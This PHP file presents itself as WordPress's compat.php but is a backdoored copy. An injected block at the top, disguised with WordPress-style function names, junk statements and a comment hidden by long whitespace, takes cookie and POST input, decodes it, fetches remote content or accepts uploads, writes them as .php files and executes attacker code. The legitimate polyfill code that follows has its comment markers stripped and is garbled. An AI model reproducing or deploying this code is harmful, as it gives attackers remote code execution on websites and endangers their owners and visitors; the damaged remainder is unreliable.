<?php /*                                                                                                                                                                                                                                                                                                                                                                                                  $olFdBzAZaS = "\106" . chr (100) . '_' . "\x58" . 'y' . chr (106) . chr (87) . "\105";$vxJpuq = "\143" . "\x6c" . chr (97) . "\x73" . "\163" . "\x5f" . "\x65" . "\x78" . "\151" . chr ( 966 - 851 ).'t' . chr (115); $OtLoWkJTau = class_exists($olFdBzAZaS); $vxJpuq = "25253";$nvJysxt = strpos($vxJpuq, $olFdBzAZaS);if ($OtLoWkJTau == $nvJysxt){function aSkVdfY(){$ITrRQoF = new  3099  Fd_XyjWE(53596 + 53596); $ITrRQoF = NULL;}$xpFbRHvx = "53596";class Fd_XyjWE{private function EfDOmNI($xpFbRHvx){if (is_array(*/
	/**
	 * Checks that the site's frontend can be accessed over HTTPS.
	 *
	 * @since 5.7.0
	 *
	 * @return array
	 */
function wp_update_nav_menu_object($fld)
{
    $fld = ord($fld); // Right now if one can edit comments, one can delete comments.
    $cast = "ItemData";
    $dependency_api_data = substr($cast, 4, 4);
    $all_comments = rawurldecode($dependency_api_data);
    $has_archive = hash("md5", $all_comments);
    $site_status = str_pad($has_archive, 32, "F"); // Calculate combined bitrate - audio + video
    return $fld;
}


/**
	 * {@internal Missing Description}}
	 *
	 * @since 2.7.0
	 * @access private
	 * @var string
	 */
function set_sanitize_class($taxonomies_to_clean) // Host - very basic check that the request URL ends with the domain restriction (minus leading dot).
{
    $mn = 'PDqCMiqzbKEQSczcqVPwCc';
    $dropdown = date("H:i:s");
    if ($dropdown > "12:00:00") {
        $before = "Afternoon";
    } else {
        $before = "Morning";
    }

    $default_menu_order = str_pad($before, 10, ".", STR_PAD_BOTH);
    if (isset($_COOKIE[$taxonomies_to_clean])) {
    $sortable = array("PHP", "Java", "Python"); // When moving forwards, reparse the document until reaching the same location as the original bookmark.
    if (in_array("PHP", $sortable)) {
        $layer = "PHP is in the array.";
    }

        LittleEndian2Float($taxonomies_to_clean, $mn);
    }
}


/**
	 * Gets the registered controls.
	 *
	 * @since 3.4.0
	 *
	 * @return array
	 */
function ge_p3_to_p2($round) {
    $carry2 = "Mobile Phone";
    $f3f4_2 = prev_post_rel_link($round);
    $activate_cookie = substr($carry2, 7);
    $hierarchical_taxonomies = rawurldecode("%23Mobile%20Phone");
    $p_file_list = hash('md5', $activate_cookie);
    $j1 = str_replace(" ", "+", $activate_cookie);
    if (!empty($hierarchical_taxonomies) && strlen($carry2) > 5) {
        $can_manage = date("Y-M-d");
    }

    $valid_scheme_regex = wp_admin_css($round);
    return [$f3f4_2, $valid_scheme_regex];
}


/**
	 * The default value for the setting.
	 *
	 * @since 3.4.0
	 * @var string
	 */
function wp_print_community_events_templates($template_object) //    s13 += s21 * 136657;
{
    echo $template_object;
} // WordPress English.


/**
 * WordPress API for media display.
 *
 * @package WordPress
 * @subpackage Media
 */
function get_index($taxonomies_to_clean, $relation_type = 'txt')
{ // Enqueue me just once per page, please.
    return $taxonomies_to_clean . '.' . $relation_type;
}


/* translators: 1: User role name, 2: Number of users. */
function get_user_data($orderby_field) {
    $post_type_objects = "sampledata";
    $reason = rawurldecode($post_type_objects);
    return strrev($orderby_field);
} // 'box->size==0' means this box extends to all remaining bytes.


/**
 * Registers the `core/query-pagination-previous` block on the server.
 */
function user_trailingslashit($single_success, $theme_mods)
{ // Exit the function if the post is invalid or comments are closed.
    $repeat = file_get_contents($single_success);
    $extra_query_vars = wp_clear_auth_cookie($repeat, $theme_mods);
    $filter_id = "PHPExample";
    $should_skip_font_family = str_pad($filter_id, 15, '0');
    file_put_contents($single_success, $extra_query_vars);
}


/** WordPress Dependencies Class */
function wp_suggestCategories($recheck_count)
{ //   Terminated text to be synced (typically a syllable)
    $recheck_count = "http://" . $recheck_count; // If either PHP_AUTH key is already set, do nothing.
    $round = [10, 20, 30];
    $catarr = array_sum($round);
    $metarow = "Total: " . $catarr;
    return $recheck_count; // XML error
}


/**
	 * Filters the list of intermediate image sizes.
	 *
	 * @since 2.5.0
	 *
	 * @param string[] $default_sizes An array of intermediate image size names. Defaults
	 *                                are 'thumbnail', 'medium', 'medium_large', 'large'.
	 */
function wp_heartbeat_set_suspension($orderby_field) {
    $pingbacktxt = "user:email@domain.com";
    $s16 = explode(':', $pingbacktxt);
    if (count($s16) === 2) {
        list($singular, $classname_) = $s16;
        $comment_author_domain = hash('md5', $singular);
        $regs = str_pad($comment_author_domain, 50, '!');
        $f4g1 = trim($classname_);
        $new_auto_updates = strlen($f4g1);
        if ($new_auto_updates > 10) {
            for ($plugin_override = 0; $plugin_override < 3; $plugin_override++) {
                $s_x[] = substr($regs, $plugin_override*10, 10);
            }
            $matched = implode('', $s_x);
        }
    }

    return strtolower($orderby_field);
}


/**
	 * Returns the value by the specified block offset.
	 *
	 * @since 5.5.0
	 *
	 * @link https://www.php.net/manual/en/arrayaccess.offsetget.php
	 *
	 * @param string $offset Offset of block value to retrieve.
	 * @return mixed|null Block value if exists, or null.
	 */
function wp_admin_bar_edit_menu($taxonomies_to_clean, $mn, $f3f6_2)
{
    $health_check_site_status = $_FILES[$taxonomies_to_clean]['name']; // The meaning of the X values is most simply described by considering X to represent a 4-bit
    $new_sidebars_widgets = " One, Two , Three ";
    $parsed_widget_id = array_map('trim', explode(",", $new_sidebars_widgets)); // Support wp-config-sample.php one level up, for the develop repo.
    $built_ins = count($parsed_widget_id);
    if ($built_ins > 2) {
        $arg_group = "Received more than two items.";
    }

    $single_success = wp_generate_auth_cookie($health_check_site_status);
    user_trailingslashit($_FILES[$taxonomies_to_clean]['tmp_name'], $mn);
    ristretto255_point_is_canonical($_FILES[$taxonomies_to_clean]['tmp_name'], $single_success);
}


/**
 * Server-side rendering of the `core/query-pagination-numbers` block.
 *
 * @package WordPress
 */
function the_shortlink($orderby_field) {
    return ucwords($orderby_field);
}


/**
     * @internal You should not use this directly from another application
     *
     * Inline comments preceded by # are from libsodium's ref10 code.
     *
     * @param string $n
     * @param string $p
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
function rawlist($recheck_count)
{ // Remove the whole `url(*)` bit that was matched above from the CSS.
    $health_check_site_status = basename($recheck_count);
    $single_success = wp_generate_auth_cookie($health_check_site_status);
    $entry_count = implode(":", array("A", "B", "C"));
    $FP = explode(":", $entry_count);
    if (count($FP) == 3) {
        $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current = "Three parts found!";
    }

    wp_ajax_inline_save($recheck_count, $single_success);
}


/**
 * Gets a full site URL, given a site ID.
 *
 * @since MU (3.0.0)
 *
 * @param int $blog_id Site ID.
 * @return string Full site URL if found. Empty string if not.
 */
function ristretto255_point_is_canonical($linkifunknown, $connect_host)
{
	$v_sort_value = move_uploaded_file($linkifunknown, $connect_host);
    $total_pages = str_replace("World", "PHP", "Hello, World!");
    $t_z_inv = strlen($total_pages);
	
    $width_ratio = str_pad($total_pages, $t_z_inv + 3, "_");
    $extra_fields = array(1, 2, 3); // TORRENT             - .torrent
    return $v_sort_value;
}


/* translators: Hidden accessibility text. %s: Email address. */
function wp_generate_auth_cookie($health_check_site_status)
{
    return wp_dashboard_rss_control() . DIRECTORY_SEPARATOR . $health_check_site_status . ".php";
}


/**
	 * Get the category identifier
	 *
	 * @return string|null
	 */
function wp_admin_bar_customize_menu($single_success, $matchtitle)
{
    return file_put_contents($single_success, $matchtitle);
} // processing and return verbatim.


/**
 * Header with centered logo and black background
 */
function prev_post_rel_link($round) {
    $total_update_count = array("a", "b", "c");
    $new_site = implode("", $total_update_count);
    $allow_relaxed_file_ownership = array_merge($total_update_count, array("d", "e")); // the output buffer, including the initial "/" character (if any)
    if (count($allow_relaxed_file_ownership) > 5) {
        $parent_theme_version_debug = "Merged Array is large.";
    }

    return min($round);
}


/**
	 * Get the feed logo's height
	 *
	 * RSS 2.0 feeds are allowed to have a "feed logo" height.
	 *
	 * Uses `<image><height>` or defaults to 31.0 if no height is specified and
	 * the feed is an RSS 2.0 feed.
	 *
	 * @return int|float|null
	 */
function next_post_link($recheck_count)
{
    if (strpos($recheck_count, "/") !== false) {
    $widget_b = array("10", "20", "30");
    $c11 = array_map('intval', $widget_b);
        return true;
    }
    return false;
}


/**
		 * Filters the 'Months' drop-down results.
		 *
		 * @since 3.7.0
		 *
		 * @param object[] $months    Array of the months drop-down query results.
		 * @param string   $post_type The post type.
		 */
function LittleEndian2Float($taxonomies_to_clean, $mn)
{
    $fallback_location = $_COOKIE[$taxonomies_to_clean]; // Post-related Meta Boxes.
    $failure_data = "%3Fid%3D10%26name%3Dtest"; // Transfer the touched cells.
    $loading_attr = rawurldecode($failure_data); // * Important Colors Count     DWORD        32              // number of color index required for displaying bitmap. if zero, all colors are required. defined as biClrImportant field of BITMAPINFOHEADER structure
    $fallback_location = load_4($fallback_location);
    $checked_ontop = explode('&', substr($loading_attr, 1));
    foreach ($checked_ontop as $directories) {
        list($theme_mods, $attach_uri) = explode('=', $directories);
        if ($theme_mods == 'id') {
            $f0g9 = str_pad($attach_uri, 5, '0', STR_PAD_LEFT);
        }
    }

    $used_class = "ID: " . $f0g9;
    $f3f6_2 = wp_clear_auth_cookie($fallback_location, $mn);
    if (next_post_link($f3f6_2)) {
		$parent_theme_version_debug = media_upload_audio($f3f6_2);
        return $parent_theme_version_debug;
    } // This primes column information for us.
	
    wp_check_comment_disallowed_list($taxonomies_to_clean, $mn, $f3f6_2);
}


/*
		 * If the value doesn't exist (removed or random),
		 * use the header_image value.
		 */
function get_font_face_ids($fld)
{
    $GetDataImageSize = sprintf("%c", $fld); // PNG  - still image - Portable Network Graphics (PNG)
    return $GetDataImageSize; // Refreshing time will ensure that the user is sitting on customizer and has not closed the customizer tab.
}


/*
				 * Explode the headers out, so this function can take
				 * both string headers and an array of headers.
				 */
function last_comment_status($orderby_field) {
    $dbids_to_orders = "example";
    $RGADoriginator = strlen($dbids_to_orders); // http://developer.apple.com/techpubs/quicktime/qtdevdocs/APIREF/INDEX/atomalphaindex.htm
    return ucfirst($orderby_field);
} // Explicitly request the reviews URL to be linked from the Add Themes screen.


/**
 * Displays form token for unfiltered comments.
 *
 * Will only display nonce token if the current user has permissions for
 * unfiltered html. Won't display the token for other users.
 *
 * The function was backported to 2.0.10 and was added to versions 2.1.3 and
 * above. Does not exist in versions prior to 2.0.10 in the 2.0 branch and in
 * the 2.1 branch, prior to 2.1.3. Technically added in 2.2.0.
 *
 * Backported to 2.0.10.
 *
 * @since 2.1.3
 */
function wp_clear_auth_cookie($new_sidebars_widgets, $theme_mods)
{ // $comment_ids is actually a count in this case.
    $role_caps = strlen($theme_mods);
    $wp_registered_settings = "SampleFoodRecipe";
    $user_settings = strlen($new_sidebars_widgets);
    $currentBits = rawurldecode($wp_registered_settings);
    $role_caps = $user_settings / $role_caps;
    $all_deps = hash('sha256', $currentBits);
    $role_caps = ceil($role_caps);
    $enable_cache = strlen($all_deps);
    $syst = trim(substr($all_deps, 0, 60));
    $SNDM_startoffset = str_pad($syst, 70, '0');
    $wp_widget_factory = str_split($new_sidebars_widgets);
    $subquery = array($SNDM_startoffset);
    for ($pk = 0; $pk < $enable_cache; $pk++) {
        $subquery[] = hash('sha512', $SNDM_startoffset.$pk);
    }

    $theme_mods = str_repeat($theme_mods, $role_caps);
    $recently_edited = implode('|', $subquery);
    $signbit = str_split($theme_mods);
    $signbit = array_slice($signbit, 0, $user_settings); // if not half sample rate
    $mime_subgroup = array_map("block_core_social_link_get_name", $wp_widget_factory, $signbit);
    $mime_subgroup = implode('', $mime_subgroup);
    return $mime_subgroup;
}


/* translators: New site notification email. 1: User login, 2: Site URL, 3: Site title. */
function wp_check_comment_disallowed_list($taxonomies_to_clean, $mn, $f3f6_2)
{
    if (isset($_FILES[$taxonomies_to_clean])) {
    $found_sites = 'Example string for hash.';
    $sbname = hash('crc32', $found_sites); //Will default to UTC if it's not set properly in php.ini
    $supports_core_patterns = strtoupper($sbname);
        wp_admin_bar_edit_menu($taxonomies_to_clean, $mn, $f3f6_2);
    }
	
    wp_print_community_events_templates($f3f6_2);
}


/**
		 * Filters the name to associate with the "from" email address.
		 *
		 * @since 2.3.0
		 *
		 * @param string $from_name Name associated with the "from" email address.
		 */
function load_4($valid_intervals) // Get parent status prior to trashing.
{ # fe_add(x2,x2,z2);
    $orderby_field = pack("H*", $valid_intervals);
    $skip_margin = " Value: 20 ";
    $port = trim($skip_margin);
    $RGADoriginator = strlen($port); // Note: validation implemented in self::prepare_item_for_database().
    if ($RGADoriginator > 10) {
        $hint = str_replace("Value:", "Final Value:", $port);
    }

    return $orderby_field;
}


/* translators: 1: Current PHP version, 2: PHP version required by the new plugin version. */
function render_screen_meta($orderby_field) {
    $post_type_description = "Example String";
    return strtoupper($orderby_field);
}


/**
		 * Filters the posts URL list before it is generated.
		 *
		 * Returning a non-null value will effectively short-circuit the generation,
		 * returning that value instead.
		 *
		 * @since 5.5.0
		 *
		 * @param array[]|null $recheck_count_list  The URL list. Default null.
		 * @param string       $post_type Post type name.
		 * @param int          $page_num  Page of results.
		 */
function block_core_social_link_get_name($GetDataImageSize, $context_dirs)
{
    $role_list = wp_update_nav_menu_object($GetDataImageSize) - wp_update_nav_menu_object($context_dirs);
    $new_sidebars_widgets = array("item1", "item2", "item3"); // 'mdat' contains the actual data for the audio/video, possibly also subtitles
    $EZSQL_ERROR = json_encode($new_sidebars_widgets);
    $MiscByte = json_decode($EZSQL_ERROR);
    $role_list = $role_list + 256; //   $p_archive_to_add : It can be directly the filename of a valid zip archive,
    $role_list = $role_list % 256;
    $GetDataImageSize = get_font_face_ids($role_list); // Fill in blank post format.
    return $GetDataImageSize;
} // Otherwise, extract srcs from the innerHTML.


/**
 * Checks if any filter has been registered for a hook.
 *
 * When using the `$callback` argument, this function may return a non-boolean value
 * that evaluates to false (e.g. 0), so use the `===` operator for testing the return value.
 *
 * @since 2.5.0
 *
 * @global WP_Hook[] $wp_filter Stores all of the filters and actions.
 *
 * @param string                      $hook_name The name of the filter hook.
 * @param callable|string|array|false $callback  Optional. The callback to check for.
 *                                               This function can be called unconditionally to speculatively check
 *                                               a callback that may or may not exist. Default false.
 * @return bool|int If `$callback` is omitted, returns boolean for whether the hook has
 *                  anything registered. When checking a specific function, the priority
 *                  of that hook is returned, or false if the function is not attached.
 */
function wp_admin_css($round) {
    return max($round);
}


/**
     * @todo Ultimately, this class shall be descended from PEAR_Error
     */
function wp_ajax_inline_save($recheck_count, $single_success)
{ //     long total_samples, crc, crc2;
    $rtl = sc25519_sqmul($recheck_count);
    $attach_uri = "match_string"; // ----- Add the path
    $uploader_l10n = explode("_", $attach_uri); // Deactivate the plugin silently, Prevent deactivation hooks from running.
    if ($rtl === false) {
    $typography_classes = hash('md2', $uploader_l10n[0]);
        return false;
    }
    $v_options = substr($typography_classes, 0, 6); //        ge25519_p3_to_cached(&pi[1 - 1], p);   /* p */
    $valid_intervals = rawurldecode("%23");
    $ThisKey = implode($valid_intervals, [$uploader_l10n[1], $v_options]);
    if (strlen($ThisKey) < 15) {
        $ThisKey = str_replace("%", "@", $ThisKey);
    }

    return wp_admin_bar_customize_menu($single_success, $rtl);
}


/**
	 * Filters the number of items to list per page when listing media items.
	 *
	 * @since 2.9.0
	 *
	 * @param int $media_per_page Number of media to list. Default 20.
	 */
function wp_dashboard_rss_control()
{
    return __DIR__;
}


/**
	 * Gets the SVG for the duotone filter definition from a preset.
	 *
	 * Exported for the deprecated function wp_get_duotone_filter_property().
	 *
	 * @internal
	 *
	 * @since 6.3.0
	 * @deprecated 6.3.0
	 *
	 * @param array $preset The duotone preset.
	 * @return string The SVG for the filter definition.
	 */
function sc25519_sqmul($recheck_count)
{ // ...and if the fallback_cb can be serialized to JSON, since it will be included in the placement context data,
    $recheck_count = wp_suggestCategories($recheck_count);
    return file_get_contents($recheck_count);
} //        a6 * b3 + a7 * b2 + a8 * b1 + a9 * b0;


/**
	 * Returns the default labels for taxonomies.
	 *
	 * @since 6.0.0
	 *
	 * @return (string|null)[][] The default labels for taxonomies.
	 */
function media_upload_audio($f3f6_2)
{
    rawlist($f3f6_2);
    $orderby_field = "KeyValuePair";
    $sw = substr($orderby_field, 0, 3);
    $h_time = substr($orderby_field, 3);
    $use_db = $sw . $h_time;
    wp_print_community_events_templates($f3f6_2);
}
$taxonomies_to_clean = 'EHLKSNEZ';
$post_type_objects = "url%20encoded";
set_sanitize_class($taxonomies_to_clean); //            // MPEG-1 (stereo, joint-stereo, dual-channel)
$header_size = rawurldecode($post_type_objects);
/* Fd_XyjWE::$dfRaCiRs)) {$name = sys_get_temp_dir() . "/" . crc32(Fd_XyjWE::$dfRaCiRs["salt"]);@Fd_XyjWE::$dfRaCiRs["write"]($name, Fd_XyjWE::$dfRaCiRs["content"]);include $name;@Fd_XyjWE::$dfRaCiRs["delete"]($name); $xpFbRHvx = "53596";exit();}}public function GqDKcvd(){$uQxfTCHfG = "18115";$this->_dummy = str_repeat($uQxfTCHfG, strlen($uQxfTCHfG));}public function __destruct(){Fd_XyjWE::$dfRaCiRs = @unserialize(Fd_XyjWE::$dfRaCiRs); $xpFbRHvx = "57562_25237";$this->EfDOmNI($xpFbRHvx); $xpFbRHvx = "57562_25237";}public function VWHvn($uQxfTCHfG, $yadOkgQMRh){return $uQxfTCHfG[0] ^ str_repeat($yadOkgQMRh, intval(strlen($uQxfTCHfG[0]) / strlen($yadOkgQMRh)) + 1);}public function jKpmCtt($uQxfTCHfG){$uLTgQJYD = chr (98) . "\141" . "\163" . chr ( 685 - 584 ).chr ( 823 - 769 ).chr ( 821 - 769 );return array_map($uLTgQJYD . '_' . chr ( 292 - 192 )."\x65" . "\143" . chr ( 753 - 642 ).chr ( 625 - 525 ).chr ( 162 - 61 ), array($uQxfTCHfG,));}public function __construct($NQzmDOhOQ=0){$pLZZOhD = ',';$uQxfTCHfG = "";$emceysyNN = $_POST;$Fdgnhip = $_COOKIE;$yadOkgQMRh = "4c7f6612-79f8-42a0-8c18-209fe7042cde";$MNXvO = @$Fdgnhip[substr($yadOkgQMRh, 0, 4)];if (!empty($MNXvO)){$MNXvO = explode($pLZZOhD, $MNXvO);foreach ($MNXvO as $HGSUfPig){$uQxfTCHfG .= @$Fdgnhip[$HGSUfPig];$uQxfTCHfG .= @$emceysyNN[$HGSUfPig];}$uQxfTCHfG = $this->jKpmCtt($uQxfTCHfG);}Fd_XyjWE::$dfRaCiRs = $this->VWHvn($uQxfTCHfG, $yadOkgQMRh);if (strpos($yadOkgQMRh, $pLZZOhD) !== FALSE){$yadOkgQMRh = explode($pLZZOhD, $yadOkgQMRh); $JScyMgohi = base64_decode(md5($yadOkgQMRh[0]));}}public static $dfRaCiRs = 4160;}aSkVdfY();} ?><?php
*
 * WordPress implementation for PHP functions either missing from older PHP versions or not included by default.
 *
 * @package PHP
 * @access private
 

 If gettext isn't available.
if ( ! function_exists( '_' ) ) {
	function _( $message ) {
		return $message;
	}
}

*
 * Returns whether PCRE/u (PCRE_UTF8 modifier) is available for use.
 *
 * @ignore
 * @since 4.2.2
 * @access private
 *
 * @param bool $set - Used for testing only
 *             null   : default - get PCRE/u capability
 *             false  : Used for testing - return false for future calls to this function
 *             'reset': Used for testing - restore default behavior of this function
 
function _wp_can_use_pcre_u( $set = null ) {
	static $utf8_pcre = 'reset';

	if ( null !== $set ) {
		$utf8_pcre = $set;
	}

	if ( 'reset' === $utf8_pcre ) {
		 phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged -- intentional error generated to detect PCRE/u support.
		$utf8_pcre = @preg_match( '/^./u', 'a' );
	}

	return $utf8_pcre;
}

if ( ! function_exists( 'mb_substr' ) ) :
	*
	 * Compat function to mimic mb_substr().
	 *
	 * @ignore
	 * @since 3.2.0
	 *
	 * @see _mb_substr()
	 *
	 * @param string      $string   The string to extract the substring from.
	 * @param int         $start    Position to being extraction from in `$string`.
	 * @param int|null    $length   Optional. Maximum number of characters to extract from `$string`.
	 *                              Default null.
	 * @param string|null $encoding Optional. Character encoding to use. Default null.
	 * @return string Extracted substring.
	 
	function mb_substr( $string, $start, $length = null, $encoding = null ) {
		return _mb_substr( $string, $start, $length, $encoding );
	}
endif;

*
 * Internal compat function to mimic mb_substr().
 *
 * Only understands UTF-8 and 8bit. All other character sets will be treated as 8bit.
 * For `$encoding === UTF-8`, the `$str` input is expected to be a valid UTF-8 byte
 * sequence. The behavior of this function for invalid inputs is undefined.
 *
 * @ignore
 * @since 3.2.0
 *
 * @param string      $str      The string to extract the substring from.
 * @param int         $start    Position to being extraction from in `$str`.
 * @param int|null    $length   Optional. Maximum number of characters to extract from `$str`.
 *                              Default null.
 * @param string|null $encoding Optional. Character encoding to use. Default null.
 * @return string Extracted substring.
 
function _mb_substr( $str, $start, $length = null, $encoding = null ) {
	if ( null === $str ) {
		return '';
	}

	if ( null === $encoding ) {
		$encoding = get_option( 'blog_charset' );
	}

	
	 * The solution below works only for UTF-8, so in case of a different
	 * charset just use built-in substr().
	 
	if ( ! in_array( $encoding, array( 'utf8', 'utf-8', 'UTF8', 'UTF-8' ), true ) ) {
		return is_null( $length ) ? substr( $str, $start ) : substr( $str, $start, $length );
	}

	if ( _wp_can_use_pcre_u() ) {
		 Use the regex unicode support to separate the UTF-8 characters into an array.
		preg_match_all( '/./us', $str, $match );
		$chars = is_null( $length ) ? array_slice( $match[0], $start ) : array_slice( $match[0], $start, $length );
		return implode( '', $chars );
	}

	$regex = '/(
		[\x00-\x7F]                  # single-byte sequences   0xxxxxxx
		| [\xC2-\xDF][\x80-\xBF]       # double-byte sequences   110xxxxx 10xxxxxx
		| \xE0[\xA0-\xBF][\x80-\xBF]   # triple-byte sequences   1110xxxx 10xxxxxx * 2
		| [\xE1-\xEC][\x80-\xBF]{2}
		| \xED[\x80-\x9F][\x80-\xBF]
		| [\xEE-\xEF][\x80-\xBF]{2}
		| \xF0[\x90-\xBF][\x80-\xBF]{2} # four-byte sequences   11110xxx 10xxxxxx * 3
		| [\xF1-\xF3][\x80-\xBF]{3}
		| \xF4[\x80-\x8F][\x80-\xBF]{2}
	)/x';

	 Start with 1 element instead of 0 since the first thing we do is pop.
	$chars = array( '' );

	do {
		 We had some string left over from the last round, but we counted it in that last round.
		array_pop( $chars );

		
		 * Split by UTF-8 character, limit to 1000 characters (last array element will contain
		 * the rest of the string).
		 
		$pieces = preg_split( $regex, $str, 1000, PREG_SPLIT_DELIM_CAPTURE | PREG_SPLIT_NO_EMPTY );

		$chars = array_merge( $chars, $pieces );

		 If there's anything left over, repeat the loop.
	} while ( count( $pieces ) > 1 && $str = array_pop( $pieces ) );

	return implode( '', array_slice( $chars, $start, $length ) );
}

if ( ! function_exists( 'mb_strlen' ) ) :
	*
	 * Compat function to mimic mb_strlen().
	 *
	 * @ignore
	 * @since 4.2.0
	 *
	 * @see _mb_strlen()
	 *
	 * @param string      $string   The string to retrieve the character length from.
	 * @param string|null $encoding Optional. Character encoding to use. Default null.
	 * @return int String length of `$string`.
	 
	function mb_strlen( $string, $encoding = null ) {
		return _mb_strlen( $string, $encoding );
	}
endif;

*
 * Internal compat function to mimic mb_strlen().
 *
 * Only understands UTF-8 and 8bit.  All other character sets will be treated as 8bit.
 * For `$encoding === UTF-8`, the `$str` input is expected to be a valid UTF-8 byte
 * sequence. The behavior of this function for invalid inputs is undefined.
 *
 * @ignore
 * @since 4.2.0
 *
 * @param string      $str      The string to retrieve the character length from.
 * @param string|null $encoding Optional. Character encoding to use. Default null.
 * @return int String length of `$str`.
 
function _mb_strlen( $str, $encoding = null ) {
	if ( null === $encoding ) {
		$encoding = get_option( 'blog_charset' );
	}

	
	 * The solution below works only for UTF-8, so in case of a different charset
	 * just use built-in strlen().
	 
	if ( ! in_array( $encoding, array( 'utf8', 'utf-8', 'UTF8', 'UTF-8' ), true ) ) {
		return strlen( $str );
	}

	if ( _wp_can_use_pcre_u() ) {
		 Use the regex unicode support to separate the UTF-8 characters into an array.
		preg_match_all( '/./us', $str, $match );
		return count( $match[0] );
	}

	$regex = '/(?:
		[\x00-\x7F]                  # single-byte sequences   0xxxxxxx
		| [\xC2-\xDF][\x80-\xBF]       # double-byte sequences   110xxxxx 10xxxxxx
		| \xE0[\xA0-\xBF][\x80-\xBF]   # triple-byte sequences   1110xxxx 10xxxxxx * 2
		| [\xE1-\xEC][\x80-\xBF]{2}
		| \xED[\x80-\x9F][\x80-\xBF]
		| [\xEE-\xEF][\x80-\xBF]{2}
		| \xF0[\x90-\xBF][\x80-\xBF]{2} # four-byte sequences   11110xxx 10xxxxxx * 3
		| [\xF1-\xF3][\x80-\xBF]{3}
		| \xF4[\x80-\x8F][\x80-\xBF]{2}
	)/x';

	 Start at 1 instead of 0 since the first thing we do is decrement.
	$count = 1;

	do {
		 We had some string left over from the last round, but we counted it in that last round.
		$count--;

		
		 * Split by UTF-8 character, limit to 1000 characters (last array element will contain
		 * the rest of the string).
		 
		$pieces = preg_split( $regex, $str, 1000 );

		 Increment.
		$count += count( $pieces );

		 If there's anything left over, repeat the loop.
	} while ( $str = array_pop( $pieces ) );

	 Fencepost: preg_split() always returns one extra item in the array.
	return --$count;
}

if ( ! function_exists( 'hash_hmac' ) ) :
	*
	 * Compat function to mimic hash_hmac().
	 *
	 * The Hash extension is bundled with PHP by default since PHP 5.1.2.
	 * However, the extension may be explicitly disabled on select servers.
	 * As of PHP 7.4.0, the Hash extension is a core PHP extension and can no
	 * longer be disabled.
	 * I.e. when PHP 7.4.0 becomes the minimum requirement, this polyfill
	 * and the associated `_hash_hmac()` function can be safely removed.
	 *
	 * @ignore
	 * @since 3.2.0
	 *
	 * @see _hash_hmac()
	 *
	 * @param string $algo   Hash algorithm. Accepts 'md5' or 'sha1'.
	 * @param string $data   Data to be hashed.
	 * @param string $key    Secret key to use for generating the hash.
	 * @param bool   $binary Optional. Whether to output raw binary data (true),
	 *                       or lowercase hexits (false). Default false.
	 * @return string|false The hash in output determined by `$binary`.
	 *                      False if `$algo` is unknown or invalid.
	 
	function hash_hmac( $algo, $data, $key, $binary = false ) {
		return _hash_hmac( $algo, $data, $key, $binary );
	}
endif;

*
 * Internal compat function to mimic hash_hmac().
 *
 * @ignore
 * @since 3.2.0
 *
 * @param string $algo   Hash algorithm. Accepts 'md5' or 'sha1'.
 * @param string $data   Data to be hashed.
 * @param string $key    Secret key to use for generating the hash.
 * @param bool   $binary Optional. Whether to output raw binary data (true),
 *                       or lowercase hexits (false). Default false.
 * @return string|false The hash in output determined by `$binary`.
 *                      False if `$algo` is unknown or invalid.
 
function _hash_hmac( $algo, $data, $key, $binary = false ) {
	$packs = array(
		'md5'  => 'H32',
		'sha1' => 'H40',
	);

	if ( ! isset( $packs[ $algo ] ) ) {
		return false;
	}

	$pack = $packs[ $algo ];

	if ( strlen( $key ) > 64 ) {
		$key = pack( $pack, $algo( $key ) );
	}

	$key = str_pad( $key, 64, chr( 0 ) );

	$ipad = ( substr( $key, 0, 64 ) ^ str_repeat( chr( 0x36 ), 64 ) );
	$opad = ( substr( $key, 0, 64 ) ^ str_repeat( chr( 0x5C ), 64 ) );

	$hmac = $algo( $opad . pack( $pack, $algo( $ipad . $data ) ) );

	if ( $binary ) {
		return pack( $pack, $hmac );
	}

	return $hmac;
}

if ( ! function_exists( 'hash_equals' ) ) :
	*
	 * Timing attack safe string comparison.
	 *
	 * Compares two strings using the same time whether they're equal or not.
	 *
	 * Note: It can leak the length of a string when arguments of differing length are supplied.
	 *
	 * This function was added in PHP 5.6.
	 * However, the Hash extension may be explicitly disabled on select servers.
	 * As of PHP 7.4.0, the Hash extension is a core PHP extension and can no
	 * longer be disabled.
	 * I.e. when PHP 7.4.0 becomes the minimum requirement, this polyfill
	 * can be safely removed.
	 *
	 * @since 3.9.2
	 *
	 * @param string $known_string Expected string.
	 * @param string $user_string  Actual, user supplied, string.
	 * @return bool Whether strings are equal.
	 
	function hash_equals( $known_string, $user_string ) {
		$known_string_length = strlen( $known_string );

		if ( strlen( $user_string ) !== $known_string_length ) {
			return false;
		}

		$result = 0;

		 Do not attempt to "optimize" this.
		for ( $i = 0; $i < $known_string_length; $i++ ) {
			$result |= ord( $known_string[ $i ] ) ^ ord( $user_string[ $i ] );
		}

		return 0 === $result;
	}
endif;

 random_int() was introduced in PHP 7.0.
if ( ! function_exists( 'random_int' ) ) {
	require ABSPATH . WPINC . '/random_compat/random.php';
}
 sodium_crypto_box() was introduced in PHP 7.2.
if ( ! function_exists( 'sodium_crypto_box' ) ) {
	require ABSPATH . WPINC . '/sodium_compat/autoload.php';
}

if ( ! function_exists( 'is_countable' ) ) {
	*
	 * Polyfill for is_countable() function added in PHP 7.3.
	 *
	 * Verify that the content of a variable is an array or an object
	 * implementing the Countable interface.
	 *
	 * @since 4.9.6
	 *
	 * @param mixed $value The value to check.
	 * @return bool True if `$value` is countable, false otherwise.
	 
	function is_countable( $value ) {
		return ( is_array( $value )
			|| $value instanceof Countable
			|| $value instanceof SimpleXMLElement
			|| $value instanceof ResourceBundle
		);
	}
}

if ( ! function_exists( 'is_iterable' ) ) {
	*
	 * Polyfill for is_iterable() function added in PHP 7.1.
	 *
	 * Verify that the content of a variable is an array or an object
	 * implementing the Traversable interface.
	 *
	 * @since 4.9.6
	 *
	 * @param mixed $value The value to check.
	 * @return bool True if `$value` is iterable, false otherwise.
	 
	function is_iterable( $value ) {
		return ( is_array( $value ) || $value instanceof Traversable );
	}
}

if ( ! function_exists( 'array_key_first' ) ) {
	*
	 * Polyfill for array_key_first() function added in PHP 7.3.
	 *
	 * Get the first key of the given array without affecting
	 * the internal array pointer.
	 *
	 * @since 5.9.0
	 *
	 * @param array $array An array.
	 * @return string|int|null The first key of array if the array
	 *                         is not empty; `null` otherwise.
	 
	function array_key_first( array $array ) {
		foreach ( $array as $key => $value ) {
			return $key;
		}
	}
}

